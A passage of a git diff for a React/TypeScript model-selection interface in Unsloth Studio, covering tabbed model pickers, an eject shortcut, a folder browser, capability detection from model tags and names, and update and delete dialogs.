modelLabel, providerLabel } = useResponseModelDisplay(); + + if (!showResponseModel || modelLabel === "Not recorded") { + return null; + } + + return ( + + {modelLabel} + + ); +}; + +export const MessageResponseDetailsSheet: FC<{ + open: boolean; + onOpenChange: (open: boolean) => void; +}> = ({ open, onOpenChange }) => { + const timing = useMessageTiming(); + const { + message, + responseDetails, + usage, + serverTimings, + modelLabel, + providerLabel, + } = useResponseModelDisplay(); + const promptTokens = + usage?.promptTokens ?? asNumber(serverTimings?.prompt_n); + const completionTokens = + usage?.completionTokens ?? + timing?.tokenCount ?? + asNumber(serverTimings?.predicted_n); + const totalTokens = + usage?.totalTokens ?? + (promptTokens != null && completionTokens != null + ? promptTokens + completionTokens + : undefined); + const totalTime = + responseDetails?.durationMs ?? timing?.totalStreamTime ?? undefined; + const summaryLabel = + modelLabel === "Not recorded" ? "Model not recorded" : `Used ${modelLabel}`; + const messageToolCalls = toolCallsFromContent(message.content); + const toolCalls = + responseDetails?.toolCalls && responseDetails.toolCalls.length > 0 + ? responseDetails.toolCalls + : messageToolCalls; + + return ( + + + + + + Response details + + + Timing, model, token, and tool details for this response. + + + +
+
+

+ {summaryLabel} +

+ {providerLabel ? ( +

+ {providerLabel} +

+ ) : null} +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ + + ); +}; diff --git a/studio/frontend/src/components/assistant-ui/model-selector.tsx b/studio/frontend/src/components/assistant-ui/model-selector.tsx index d17892e1bd..1fddf077ba 100644 --- a/studio/frontend/src/components/assistant-ui/model-selector.tsx +++ b/studio/frontend/src/components/assistant-ui/model-selector.tsx @@ -8,24 +8,38 @@ import { PopoverContent, PopoverTrigger, } from "@/components/ui/popover"; -import { InfoHint } from "@/components/ui/info-hint"; -import { Switch } from "@/components/ui/switch"; -import { Tabs, TabsContent, TabsList, TabsTrigger } from "@/components/ui/tabs"; +import { TooltipProvider } from "@/components/ui/tooltip"; import { usePlatformStore } from "@/config/env"; import { isCustomProviderType } from "@/features/chat/external-providers"; +import { ChevronDownStandardIcon } from "@/lib/chevron-icons"; import { cn } from "@/lib/utils"; import { + CheckmarkCircle02Icon, CloudIcon, DashboardSquare01Icon, + Download01Icon, FolderSearchIcon, RemoveCircleIcon, Search01Icon, + StarIcon, } from "@hugeicons/core-free-icons"; -import { ChevronDownStandardIcon } from "@/lib/chevron-icons"; import { HugeiconsIcon } from "@hugeicons/react"; -import { type KeyboardEvent, useMemo, useState } from "react"; +import { useNavigate } from "@tanstack/react-router"; +import { + type KeyboardEvent, + type ReactNode, + useEffect, + useMemo, + useRef, + useState, +} from "react"; import { Input } from "../ui/input"; -import { HubModelPicker, LoraModelPicker } from "./model-selector/pickers"; +import { HubModelPicker, hasDownloadedModels } from "./model-selector/pickers"; +import { PillTabs } from "./model-selector/pill-tabs"; +import { + buildSourceTabs, + isFineTunedSource, +} from "./model-selector/source-tabs"; import type { DeletedModelRef, ExternalModelOption, @@ -110,11 +124,6 @@ interface ModelSelectorProps { activeGgufVariant?: string | null; onValueChange?: (value: string, meta: ModelSelectorChangeMeta) => void; onEject?: () => void; - /** When provided, renders a persisted "Load on selection" toggle in the - * popover. Off → picking a model stages it for a deferred, configured load - * instead of loading immediately. */ - loadOnSelection?: boolean; - onLoadOnSelectionChange?: (value: boolean) => void; onFoldersChange?: () => void; onPickLocalModel?: () => void | Promise; onModelsChange?: (deletedModel?: DeletedModelRef) => void; @@ -138,6 +147,7 @@ function ModelSelectorTrigger({ size = "default", className, dataTour, + onEject, }: { currentModel?: ModelOption; isLoaded: boolean; @@ -146,6 +156,7 @@ function ModelSelectorTrigger({ size?: "sm" | "default" | "lg"; className?: string; dataTour?: string; + onEject?: () => void; }) { return ( @@ -153,11 +164,15 @@ function ModelSelectorTrigger({ type="button" data-tour={dataTour} className={cn( - "unsloth-model-selector-trigger flex min-w-0 items-center gap-2 transition-colors", + "unsloth-model-selector-trigger group/trigger flex min-w-0 items-center gap-2 transition-colors", + // Suppress the pill's hover background while the eject hit area is + // hovered, so only the dot's own circle reacts. variant === "outline" && - "rounded-full border border-border/60 hover:bg-[#ececec] dark:hover:bg-[#2d2e32]", - variant === "ghost" && "rounded-full hover:bg-[#ececec] dark:hover:bg-[#2d2e32]", - variant === "muted" && "rounded-full bg-muted hover:bg-muted/80", + "rounded-full border border-border/60 hover:bg-[#ececec] has-[[data-eject-hit]:hover]:!bg-transparent dark:hover:bg-[#2d2e32]", + variant === "ghost" && + "rounded-full hover:bg-[#ececec] has-[[data-eject-hit]:hover]:!bg-transparent dark:hover:bg-[#2d2e32]", + variant === "muted" && + "rounded-full bg-muted hover:bg-muted/80 has-[[data-eject-hit]:hover]:!bg-muted", // More left padding than right; the chevron is pulled close to the // label (below) so the trigger reads balanced around the text. size === "sm" && "h-8 pl-3 pr-1.5 text-xs", @@ -166,11 +181,48 @@ function ModelSelectorTrigger({ className, )} > - {isLoaded && ( - - )} + {isLoaded && + (onEject ? ( + // Loaded status doubles as a mouse eject shortcut: green checkmark + // at rest, red eject icon on pill hover, click to eject. A plain + // span (no role/tabIndex) keeps it out of the trigger button's + // content model, which forbids focusable descendants. Keyboard and + // screen-reader users eject via the picker's "Eject model" button. + // aria-hidden marks it decorative; stopPropagation stops the + // popover from toggling. On touch (no hover) the eject icon and + // tooltip never reveal, so pointer-events-none disables the + // shortcut there and taps open the picker instead of ejecting. + event.stopPropagation()} + onClick={(event) => { + event.stopPropagation(); + onEject(); + }} + // Hit area larger than the icon, with a hover circle. Negative + // margin keeps the icon in the dot's original spot. + className="-m-1 flex size-5 shrink-0 cursor-pointer items-center justify-center rounded-full transition-colors hover:bg-black/10 dark:hover:bg-white/10 [@media(hover:none)]:pointer-events-none" + > + + + + ) : ( + + ))} {currentModel?.icon ? ( - {currentModel.icon} + + {currentModel.icon} + ) : null} @@ -206,7 +258,52 @@ function ModelSelectorTrigger({ ); } +type HubSection = "downloaded" | "recommended" | "custom" | "connected"; + +// The user's most recently clicked Hub section, restored on every open so the +// selector returns to the tab they last used. +const HUB_SECTION_KEY = "unsloth_model_selector_section"; +// Last tab the user actually clicked, or null when none is stored yet. Only +// On Device / Recommended persist (Connected is provider-conditional). +function loadLastHubSection(): HubSection | null { + try { + const raw = localStorage.getItem(HUB_SECTION_KEY); + return raw === "downloaded" || raw === "recommended" ? raw : null; + } catch { + return null; + } +} +function saveLastHubSection(section: HubSection): void { + if (section !== "downloaded" && section !== "recommended") return; + try { + localStorage.setItem(HUB_SECTION_KEY, section); + } catch { + // Ignore unavailable storage. + } +} +// Default the Hub section: the last tab the user clicked; first time, On Device +// when they have downloads, else Recommended. +function defaultHubSection(): HubSection { + return ( + loadLastHubSection() ?? (hasDownloadedModels() ? "downloaded" : "recommended") + ); +} + +const HUB_SECTION_TABS: { value: string; label: string; icon?: ReactNode }[] = [ + { + value: "recommended", + label: "Recommended", + icon: , + }, + { + value: "downloaded", + label: "On Device", + icon: , + }, +]; + function ModelSelectorContent({ + open, models, loraModels, externalModels, @@ -215,13 +312,13 @@ function ModelSelectorContent({ onEject, onFoldersChange, onPickLocalModel, + onBrowseHub, onModelsChange, deleteDisabled, - loadOnSelection, - onLoadOnSelectionChange, className, dataTour, }: { + open: boolean; models: ModelOption[]; loraModels: LoraModelOption[]; externalModels: ExternalModelOption[]; @@ -230,29 +327,89 @@ function ModelSelectorContent({ onEject?: () => void; onFoldersChange?: () => void; onPickLocalModel?: () => void; + onBrowseHub?: () => void; onModelsChange?: (deletedModel?: DeletedModelRef) => void; deleteDisabled?: boolean; - loadOnSelection?: boolean; - onLoadOnSelectionChange?: (value: boolean) => void; className?: string; dataTour?: string; }) { const hasSelection = Boolean(value); const chatOnly = usePlatformStore((s) => s.isChatOnly()); const hasExternal = externalModels.length > 0; + // The Fine-tuned tab is for fine-tuned models only. Local models (LM Studio, + // Ollama, custom folders) carry source "local" and live in the Hub tab's + // Downloaded / Custom sections instead. + const fineTunedModels = useMemo( + () => loraModels.filter((model) => isFineTunedSource(model.source)), + [loraModels], + ); const chatOnlyTabsDefault = useMemo( - () => (value && externalModels.some((model) => model.id === value) ? "external" : "hub"), + () => + value && externalModels.some((model) => model.id === value) + ? "external" + : "hub", [externalModels, value], ); - const studioTabsDefault = useMemo((): "hub" | "lora" | "external" => { + const studioTabsDefault = useMemo((): "hub" | "external" => { if (value && externalModels.some((model) => model.id === value)) { return "external"; } - if (value && loraModels.some((model) => model.id === value)) { - return "lora"; - } return "hub"; - }, [externalModels, loraModels, value]); + }, [externalModels, value]); + + const tabs = useMemo(() => buildSourceTabs(), []); + // Connected sits in the section toggle, shown only with external providers. + const hubSectionTabs = useMemo( + () => + hasExternal + ? [ + ...HUB_SECTION_TABS, + { + value: "connected", + label: "Connected", + icon: , + }, + ] + : HUB_SECTION_TABS, + [hasExternal], + ); + + const [activeTab, setActiveTab] = useState(() => + chatOnly ? chatOnlyTabsDefault : studioTabsDefault, + ); + // Fall back to the first tab if the active one disappears. + const effectiveTab = tabs.some((tab) => tab.value === activeTab) + ? activeTab + : tabs[0].value; + // Open on Connected when the active model comes from a connected provider. + const wantsConnectedDefault = + (chatOnly ? chatOnlyTabsDefault : studioTabsDefault) === "external"; + const [hubSection, setHubSection] = useState(() => + wantsConnectedDefault ? "connected" : defaultHubSection(), + ); + // Connected is only valid while external providers exist; fall back otherwise. + const effectiveHubSection: HubSection = + hubSection === "connected" && !hasExternal ? "recommended" : hubSection; + + // The picker below remounts on each open, but this tab state does not, so a + // persisted selection that lands in lora/external after async load would + // reopen on Hub. Re-derive the default tab on the open edge. + const wasOpen = useRef(open); + useEffect(() => { + if (open && !wasOpen.current) { + setActiveTab(chatOnly ? chatOnlyTabsDefault : studioTabsDefault); + // Connected when an external model is active, else On Device when the + // user has downloads, else their last section. + setHubSection(wantsConnectedDefault ? "connected" : defaultHubSection()); + } + wasOpen.current = open; + }, [ + open, + chatOnly, + chatOnlyTabsDefault, + studioTabsDefault, + wantsConnectedDefault, + ]); function focusActiveModelOption(root: HTMLElement): boolean { const option = @@ -265,9 +422,7 @@ function ModelSelectorContent({ root.querySelector( '[role="tabpanel"]:not([hidden]) [data-model-picker-option]', ) ?? - root.querySelector( - "[data-model-picker-option]", - ); + root.querySelector("[data-model-picker-option]"); if (!option) { return false; } @@ -304,122 +459,101 @@ function ModelSelectorContent({ data-tour={dataTour} onKeyDown={handlePickerEntryKeyDown} className={cn( - "unsloth-model-selector-menu menu-soft-surface ring-0 w-[min(440px,calc(100vw-1rem))] max-w-[calc(100vw-1rem)] min-w-0 gap-0 px-3 pt-3 pb-2", + "unsloth-model-selector-menu menu-soft-surface ring-0 max-w-[calc(100vw-1rem)] min-w-0 gap-0 pt-4 pb-0 pl-4", + // Sized so the left-packed row keeps uniform gaps and the last dropdown's + // right gap matches the pill's left gap (pl-4 vs pr-4). + hasExternal + ? "w-[min(614px,calc(100vw-1rem))] pr-4" + : "w-[min(506px,calc(100vw-1rem))] pr-2", className, )} > - {chatOnly ? ( - hasExternal ? ( - - - Hub models - Connected - - - - - - + {tabs.length > 1 ? ( + + ) : null} + + {effectiveTab === "hub" ? ( + { + const section = next as HubSection; + setHubSection(section); + saveLastHubSection(section); + }} + fit={true} /> - - - ) : ( - - ) - ) : ( - - - Hub models - Fine-tuned - {hasExternal ? Connected : null} - + } + /> + ) : null} - - - + {effectiveTab === "external" ? ( + + ) : null} - - - - - {hasExternal ? ( - - - - ) : null} - - )} - - {onPickLocalModel ? ( -
- -
- ) : null} - {hasSelection && onEject ? ( -
- -
- ) : null} - {onLoadOnSelectionChange ? ( -
-
-
-
- Load on selection - -
-
- On: load the model - immediately after selection. -
-
- Off: configure options - first, then click Load model. -
-
- -
- - Local GGUF models only - -
- + {onPickLocalModel ? ( +
+
-
- ) : null} + ) : null} + {/* Hub renders Eject inline as the last list row; other tabs keep the + footer button. */} + {effectiveTab !== "hub" && hasSelection && onEject ? ( +
+ +
+ ) : null} + ); } @@ -437,8 +571,6 @@ export function ModelSelector({ onPickLocalModel, onModelsChange, deleteDisabled, - loadOnSelection, - onLoadOnSelectionChange, variant = "outline", size = "default", className, @@ -452,6 +584,7 @@ export function ModelSelector({ const [uncontrolledOpen, setUncontrolledOpen] = useState(false); const open = controlledOpen ?? uncontrolledOpen; const setOpen = onOpenChange ?? setUncontrolledOpen; + const navigate = useNavigate(); const [uncontrolled, setUncontrolled] = useState(defaultValue ?? ""); const selected = value ?? uncontrolled; @@ -511,7 +644,9 @@ export function ModelSelector({ const found = optionById.get(selected); if (activeGgufVariant) { const desc = `GGUF · ${activeGgufVariant}`; - return found ? { ...found, description: desc } : { id: selected, name: selected, description: desc }; + return found + ? { ...found, description: desc } + : { id: selected, name: selected, description: desc }; } return found ?? { id: selected, name: selected }; }, [selected, optionById, activeGgufVariant]); @@ -535,6 +670,11 @@ export function ModelSelector({ void onPickLocalModel?.(); } + function handleBrowseHub() { + setOpen(false); + void navigate({ to: "/hub", search: { tab: "discover" } }); + } + return ( @@ -627,7 +768,7 @@ function ExternalModelPicker({ className="h-9 pl-8" />
-
+
{grouped.length === 0 ? (
diff --git a/studio/frontend/src/components/assistant-ui/model-selector/folder-browser.tsx b/studio/frontend/src/components/assistant-ui/model-selector/folder-browser.tsx index 3cb80ca2e1..6311e15bfe 100644 --- a/studio/frontend/src/components/assistant-ui/model-selector/folder-browser.tsx +++ b/studio/frontend/src/components/assistant-ui/model-selector/folder-browser.tsx @@ -3,6 +3,8 @@ "use client"; +import { Button } from "@/components/ui/button"; +import { Checkbox } from "@/components/ui/checkbox"; import { Dialog, DialogClose, @@ -35,7 +37,8 @@ function splitBreadcrumb(path: string): { label: string; value: string }[] { // Detect path style BEFORE normalizing: on POSIX, `\` is a valid filename // char, so blindly rewriting `\` -> `/` mangles names like `my\backup` into // 404ing breadcrumbs. Only Windows-style paths (drive letter, or UNC) convert. - const isWindowsDrive = /^[A-Za-z]:[\\/]/.test(path) || /^[A-Za-z]:$/.test(path); + const isWindowsDrive = + /^[A-Za-z]:[\\/]/.test(path) || /^[A-Za-z]:$/.test(path); const isUnc = /^\\\\/.test(path); const isWindows = isWindowsDrive || isUnc; const normalized = isWindows ? path.replace(/\\/g, "/") : path; @@ -149,18 +152,16 @@ export function FolderBrowser({ return ( - - - Browse for folder - + + Select folder to detect models {/* Breadcrumb */} -
+
{crumbs.length === 0 ? ( (loading…) ) : ( @@ -168,7 +169,7 @@ export function FolderBrowser({
)} - {/* Entry list */} + {/* Entry list. Keep the list mounted while a refetch is in flight (e.g. + toggling Show hidden) and just dim it, so the dialog doesn't collapse and + flash. The full-height spinner only shows on the first load, when there + is no data yet. */}
{error && ( -
{error}
+
{error}
)} - {!error && loading && ( -
+ {!error && !data && loading && ( +
Loading…
)} - {!error && !loading && data && ( - <> + {!error && data && ( +
{/* Up row */} {data.parent !== null && ( )} - {data.entries.length === 0 && !(data.model_files_here && data.model_files_here > 0) && ( -
- (empty directory) -
- )} - {data.model_files_here !== undefined && data.model_files_here > 0 && ( -
- {data.model_files_here} model file{data.model_files_here === 1 ? "" : "s"} in this folder. Click "Use this folder" to scan it. -
- )} + {data.entries.length === 0 && + !(data.model_files_here && data.model_files_here > 0) && ( +
+ (empty directory) +
+ )} + {data.model_files_here !== undefined && + data.model_files_here > 0 && ( +
+ {data.model_files_here} model file + {data.model_files_here === 1 ? "" : "s"} in this folder. + Click "Use this folder" to scan it. +
+ )} {data.truncated === true && ( -
+
Showing first {data.entries.length} entries. Narrow the path to see more.
@@ -252,7 +265,7 @@ export function FolderBrowser({ navigate(`${data.current}${sep}${e.name}`, showHidden); }} className={cn( - "flex w-full items-center gap-2 px-4 py-1.5 text-left text-xs transition-colors hover:bg-accent hover:text-foreground", + "flex w-full items-center gap-2 px-6 py-1.5 text-left text-xs transition-colors hover:bg-muted hover:text-foreground", e.hidden && "text-muted-foreground/60", )} > @@ -273,42 +286,41 @@ export function FolderBrowser({ )} ))} - +
)}
{/* Footer */} - - diff --git a/studio/frontend/src/components/assistant-ui/model-selector/model-capabilities.ts b/studio/frontend/src/components/assistant-ui/model-selector/model-capabilities.ts new file mode 100644 index 0000000000..62ecac831b --- /dev/null +++ b/studio/frontend/src/components/assistant-ui/model-selector/model-capabilities.ts @@ -0,0 +1,74 @@ +// SPDX-License-Identifier: AGPL-3.0-only +// Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0 + +// Pure helpers that infer what a model can do (vision / reasoning / audio) from +// its HF tags + pipeline tag, falling back to repo-name keywords. No React/DOM +// deps so they stay easy to test. + +export interface ModelCapabilities { + vision: boolean; + reasoning: boolean; + audio: boolean; +} + +// Authoritative HF pipeline tags / tags for each capability. +const VISION_TAGS = new Set([ + "image-text-to-text", + "image-to-text", + "visual-question-answering", + "video-text-to-text", + "any-to-any", + "multimodal", + "vision", +]); +const AUDIO_TAGS = new Set([ + "automatic-speech-recognition", + "audio-text-to-text", + "text-to-speech", + "text-to-audio", + "audio-to-audio", + "audio-classification", +]); +const REASONING_TAGS = new Set(["reasoning"]); + +// Repo-name fallbacks, bounded so we never read a token out of a longer word. +const SEP = "(?:^|[-_/. ])"; +const END = "(?=$|[-_/. ])"; +const VISION_NAME_RE = new RegExp( + `${SEP}(?:vl|llava|pixtral|moondream|smolvlm|internvl|cogvlm|idefics|paligemma|vision)${END}`, + "i", +); +const REASONING_NAME_RE = new RegExp( + `${SEP}(?:r1|qwq|thinking|reason(?:ing|er)?|magistral|o1|marco)${END}`, + "i", +); +const AUDIO_NAME_RE = new RegExp( + `${SEP}(?:whisper|tts|parakeet|parler|musicgen|bark|orpheus|csm|voice|speech|audio)${END}`, + "i", +); + +function hasAny(tagSet: Set, wanted: Set): boolean { + for (const tag of wanted) if (tagSet.has(tag)) return true; + return false; +} + +/** Infer capabilities from HF tags + pipeline tag, then repo-name keywords. */ +export function detectCapabilities(opts: { + id: string; + tags?: readonly string[]; + pipelineTag?: string; +}): ModelCapabilities { + const { id, tags, pipelineTag } = opts; + const tagSet = new Set((tags ?? []).map((t) => t.toLowerCase())); + if (pipelineTag) tagSet.add(pipelineTag.toLowerCase()); + return { + vision: hasAny(tagSet, VISION_TAGS) || VISION_NAME_RE.test(id), + reasoning: hasAny(tagSet, REASONING_TAGS) || REASONING_NAME_RE.test(id), + audio: hasAny(tagSet, AUDIO_TAGS) || AUDIO_NAME_RE.test(id), + }; +} + +/** True when at least one capability is present (worth rendering a badge). */ +export function hasAnyCapability(caps: ModelCapabilities): boolean { + return caps.vision || caps.reasoning || caps.audio; +} diff --git a/studio/frontend/src/components/assistant-ui/model-selector/model-delete-action.tsx b/studio/frontend/src/components/assistant-ui/model-selector/model-delete-action.tsx index d6afa30e05..4de96d3648 100644 --- a/studio/frontend/src/components/assistant-ui/model-selector/model-delete-action.tsx +++ b/studio/frontend/src/components/assistant-ui/model-selector/model-delete-action.tsx @@ -1,16 +1,7 @@ // SPDX-License-Identifier: AGPL-3.0-only // Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0 -import { - AlertDialog, - AlertDialogAction, - AlertDialogCancel, - AlertDialogContent, - AlertDialogDescription, - AlertDialogFooter, - AlertDialogHeader, - AlertDialogTitle, -} from "@/components/ui/alert-dialog"; +import { DeleteConfirmDialog } from "@/features/hub/catalog/download-card"; import { cn } from "@/lib/utils"; import { Delete02Icon } from "@hugeicons/core-free-icons"; import { HugeiconsIcon } from "@hugeicons/react"; @@ -22,7 +13,6 @@ interface ModelDeleteActionProps { title: string; description: ReactNode; successMessage: string; - loadingLabel?: string; buttonClassName?: string; iconClassName?: string; disabled?: boolean; @@ -35,7 +25,6 @@ export function ModelDeleteAction({ title, description, successMessage, - loadingLabel = "Deleting...", buttonClassName, iconClassName, disabled = false, @@ -85,33 +74,17 @@ export function ModelDeleteAction({ /> - { if (!nextOpen && deleting) return; setOpen(nextOpen); }} - > - - - {title} - {description} - - - No - { - e.preventDefault(); - handleConfirm(); - }} - > - {deleting ? loadingLabel : "Yes"} - - - - + title={title} + description={description} + deleting={deleting} + onConfirm={() => void handleConfirm()} + /> ); } diff --git a/studio/frontend/src/components/assistant-ui/model-selector/model-load-settings-action.tsx b/studio/frontend/src/components/assistant-ui/model-selector/model-load-settings-action.tsx new file mode 100644 index 0000000000..58510762d4 --- /dev/null +++ b/studio/frontend/src/components/assistant-ui/model-selector/model-load-settings-action.tsx @@ -0,0 +1,59 @@ +// SPDX-License-Identifier: AGPL-3.0-only +// Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0 + +import { + Tooltip, + TooltipContent, + TooltipTrigger, +} from "@/components/ui/tooltip"; +import { useChatRuntimeStore } from "@/features/chat/stores/chat-runtime-store"; +import { cn } from "@/lib/utils"; +import { Settings02Icon } from "@hugeicons/core-free-icons"; +import { HugeiconsIcon } from "@hugeicons/react"; + +/** Gear button on a downloaded quant row. Stages the model into the Run + * settings sidebar (always, regardless of the Load-on-selection toggle) so the + * user can set load options, then click Load model. */ +export function ModelLoadSettingsAction({ + ariaLabel, + repoId, + quant, + maxContext, +}: { + ariaLabel: string; + repoId: string; + quant: string; + maxContext?: number | null; +}) { + return ( + + + + + + Configure run settings before loading model + + + ); +} diff --git a/studio/frontend/src/components/assistant-ui/model-selector/model-update-action.tsx b/studio/frontend/src/components/assistant-ui/model-selector/model-update-action.tsx new file mode 100644 index 0000000000..db7628777a --- /dev/null +++ b/studio/frontend/src/components/assistant-ui/model-selector/model-update-action.tsx @@ -0,0 +1,103 @@ +// SPDX-License-Identifier: AGPL-3.0-only +// Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0 + +import { subscribeJobListeners } from "@/features/hub/download-manager"; +import { UpdateConfirmDialog } from "@/features/hub/catalog/download-card"; +import { ggufVariantsMatch } from "@/features/hub/lib/model-identity"; +import { cn } from "@/lib/utils"; +import { RefreshCw } from "lucide-react"; +import { useCallback, useEffect, useRef, useState, type ReactNode } from "react"; +import { toast } from "sonner"; + +interface ModelUpdateActionProps { + ariaLabel: string; + title: string; + description: ReactNode; + /** Repo + variant the update targets, so this action can refresh its caller + * (clearing the "update available" cue) when the matching managed download + * completes. `variant` is null for full-model (safetensors / MLX) rows. */ + repoId: string; + variant?: string | null; + buttonClassName?: string; + iconClassName?: string; + disabled?: boolean; + /** Starts the update — which now runs as a managed download. Resolves once the + * download has been handed to the download manager, NOT when it finishes. */ + onConfirm: () => Promise | void; + /** Fired when THIS repo+variant's managed update actually completes. */ + onUpdated?: () => void; +} + +export function ModelUpdateAction({ + ariaLabel, + title, + description, + repoId, + variant = null, + buttonClassName, + iconClassName, + disabled = false, + onConfirm, + onUpdated, +}: ModelUpdateActionProps) { + const [open, setOpen] = useState(false); + + // Refresh the caller when this repo+variant's download finishes so the "update available" cue + // clears. A ref keeps the subscription stable across renders. + const onUpdatedRef = useRef(onUpdated); + onUpdatedRef.current = onUpdated; + useEffect(() => { + return subscribeJobListeners("model", repoId, { + onComplete: (completedVariant) => { + const matches = variant + ? ggufVariantsMatch(completedVariant, variant) + : !completedVariant; + if (matches) onUpdatedRef.current?.(); + }, + }); + }, [repoId, variant]); + + const handleConfirm = useCallback(() => { + // Start the re-download and close the dialog; the Downloads panel owns progress + cancel. + // Only a failure to START toasts (a failed download shows in the panel). + void Promise.resolve() + .then(onConfirm) + .catch((err) => { + toast.error( + err instanceof Error ? err.message : "Failed to start update", + ); + }); + setOpen(false); + }, [onConfirm]); + + return ( + <> + + + + + ); +} diff --git a/studio/frontend/src/components/assistant-ui/model-selector/model-usage.ts b/studio/frontend/src/components/assistant-ui/model-selector/model-usage.ts new file mode 100644 index 0000000000..dbcd4b9a1b --- /dev/null +++ b/studio/frontend/src/components/assistant-ui/model-selector/model-usage.ts @@ -0,0 +1,46 @@ +// SPDX-License-Identifier: AGPL-3.0-only +// Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0 + +// Tracks when each model was last loaded so the "Recent" sort can order by usage +// (distinct from "Downloaded", which orders by the file's download date). Kept in +// localStorage; ids are lowercased to match how the picker compares them. + +import { useEffect, useState } from "react"; + +export type ModelLoadTimes = Record; + +const STORAGE_KEY = "unsloth.model-load-times.v1"; + +function readLoadTimes(): ModelLoadTimes { + try { + const raw = localStorage.getItem(STORAGE_KEY); + return raw ? (JSON.parse(raw) as ModelLoadTimes) : {}; + } catch { + return {}; + } +} + +/** Stamp a model as loaded now and return the updated map. */ +export function recordModelLoaded(id: string): ModelLoadTimes { + const next = { ...readLoadTimes(), [id.toLowerCase()]: Date.now() }; + try { + localStorage.setItem(STORAGE_KEY, JSON.stringify(next)); + } catch { + // ignore quota / disabled storage + } + return next; +} + +/** Epoch ms the model was last loaded, or -1 if never. */ +export function loadedAt(times: ModelLoadTimes, id: string): number { + return times[id.toLowerCase()] ?? -1; +} + +/** Load times, restamping whenever the active model changes. */ +export function useModelLoadTimes(currentValue?: string): ModelLoadTimes { + const [times, setTimes] = useState(() => readLoadTimes()); + useEffect(() => { + if (currentValue) setTimes(recordModelLoaded(currentValue)); + }, [currentValue]); + return times; +} diff --git a/studio/frontend/src/components/assistant-ui/model-selector/pickers.tsx b/studio/frontend/src/components/assistant-ui/model-selector/pickers.tsx index c08619d611..ff0351883d 100644 --- a/studio/frontend/src/components/assistant-ui/model-selector/pickers.tsx +++ b/studio/frontend/src/components/assistant-ui/model-selector/pickers.tsx @@ -1,6 +1,7 @@ // SPDX-License-Identifier: AGPL-3.0-only // Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0 +import { Checkbox } from "@/components/ui/checkbox"; import { Input } from "@/components/ui/input"; import { Spinner } from "@/components/ui/spinner"; import { @@ -9,6 +10,7 @@ import { TooltipTrigger, } from "@/components/ui/tooltip"; import { usePlatformStore } from "@/config/env"; +import { ApiProviderLogo } from "@/features/chat/api-provider-logo"; import { type ScanFolderInfo, addScanFolder, @@ -22,40 +24,96 @@ import { listScanFolders, removeScanFolder, } from "@/features/chat/api/chat-api"; +import { useChatRuntimeStore } from "@/features/chat/stores/chat-runtime-store"; import type { CachedGgufRepo, CachedModelRepo, LocalModelInfo, } from "@/features/chat/api/chat-api"; import type { GgufVariantDetail } from "@/features/chat/types/api"; +import { DotTag } from "@/features/hub/catalog/dot-tag"; import { - useDebouncedValue, - useGpuInfo, - useHfModelSearch, - useInfiniteScroll, - useRecommendedModelVram, -} from "@/hooks"; + type HubOption, + HubOptionMenu, +} from "@/features/hub/catalog/hub-option-menu"; +import { TransportConflictDialog } from "@/features/hub/catalog/transport-conflict-dialog"; +import { TrainIcon } from "@/features/hub/components/train-icon"; +import { useHubInfiniteScroll } from "@/features/hub/hooks/use-hub-infinite-scroll"; +import { + type HfModelResult, + type HfSortKey, + useHubModelSearch, +} from "@/features/hub/hooks/use-hub-model-search"; +import { useOnlineStatus } from "@/features/hub/hooks/use-online-status"; +import { isHiddenModelId } from "@/features/hub/lib/hidden-models"; +import { classifyUnslothSupport } from "@/features/hub/lib/unsloth-support"; +import { useHfTokenStore } from "@/features/hub/stores/hf-token-store"; +import { + downloadManager, + jobKeyOf, + useDownloadManagerStore, +} from "@/features/hub/download-manager"; +import { useDebouncedValue, useGpuInfo } from "@/hooks"; import { extractParamLabel } from "@/lib/model-size"; +import { toast } from "@/lib/toast"; import { cn, formatCompact } from "@/lib/utils"; import type { VramFitStatus } from "@/lib/vram"; import { checkVramFit, estimateLoadingVram } from "@/lib/vram"; -import { Add01Icon, Cancel01Icon, Download01Icon, Folder02Icon, Search01Icon, StarIcon } from "@hugeicons/core-free-icons"; +import { + Add01Icon, + AudioWave01Icon, + Cancel01Icon, + DashboardCircleIcon, + Download01Icon, + Flag01Icon, + Folder02Icon, + RemoveCircleIcon, + Search01Icon, + ViewIcon, +} from "@hugeicons/core-free-icons"; import { HugeiconsIcon } from "@hugeicons/react"; -import { FolderBrowser } from "./folder-browser"; -import { ModelDeleteAction } from "./model-delete-action"; import { ChevronDownIcon, ChevronRightIcon } from "lucide-react"; import { + type Dispatch, type KeyboardEvent, type ReactNode, + type SetStateAction, useCallback, useEffect, useId, useMemo, + useRef, useState, } from "react"; -import { toast } from "@/lib/toast"; +import { FolderBrowser } from "./folder-browser"; +import { + type ModelCapabilities, + detectCapabilities, + hasAnyCapability, +} from "./model-capabilities"; +import { ModelDeleteAction } from "./model-delete-action"; +import { ModelUpdateAction } from "./model-update-action"; +import { ModelLoadSettingsAction } from "./model-load-settings-action"; +import { + type ModelLoadTimes, + loadedAt, + useModelLoadTimes, +} from "./model-usage"; +import { + type FormatFilter, + estimateQuantBytes, + fitsDevice, + hfModelFitsDevice, + isMlxId, + isMobileVariant, + isRecommendableFormat, + matchesFormatFilter, + paramsFromId, +} from "./recommended-fit"; +import { parseMetaTokens, splitRepoLabel } from "./row-meta"; import type { DeletedModelRef, + ExternalModelOption, LoraModelOption, ModelOption, ModelSelectorChangeMeta, @@ -65,17 +123,9 @@ function dedupe(values: string[]): string[] { return [...new Set(values.filter(Boolean))]; } -/** Newest-first by `last_modified` (epoch s), repo_id tie-break. Copies the - * input; treats a missing field as oldest for older-backend compatibility. */ -function sortByDownloadRecency( - rows: T[], -): T[] { - return [...rows].sort((a, b) => { - const at = a.last_modified ?? -1; - const bt = b.last_modified ?? -1; - if (at !== bt) return bt - at; - return a.repo_id.localeCompare(b.repo_id); - }); +/** Repos published by Unsloth; the rest group under the "Other models" section. */ +function isUnslothRepoId(repoId: string): boolean { + return repoId.toLowerCase().startsWith("unsloth/"); } /** Lowercase and strip separators for fuzzy search. */ @@ -92,7 +142,9 @@ function makeModelOptionChildrenId(optionKey: string): string { } function 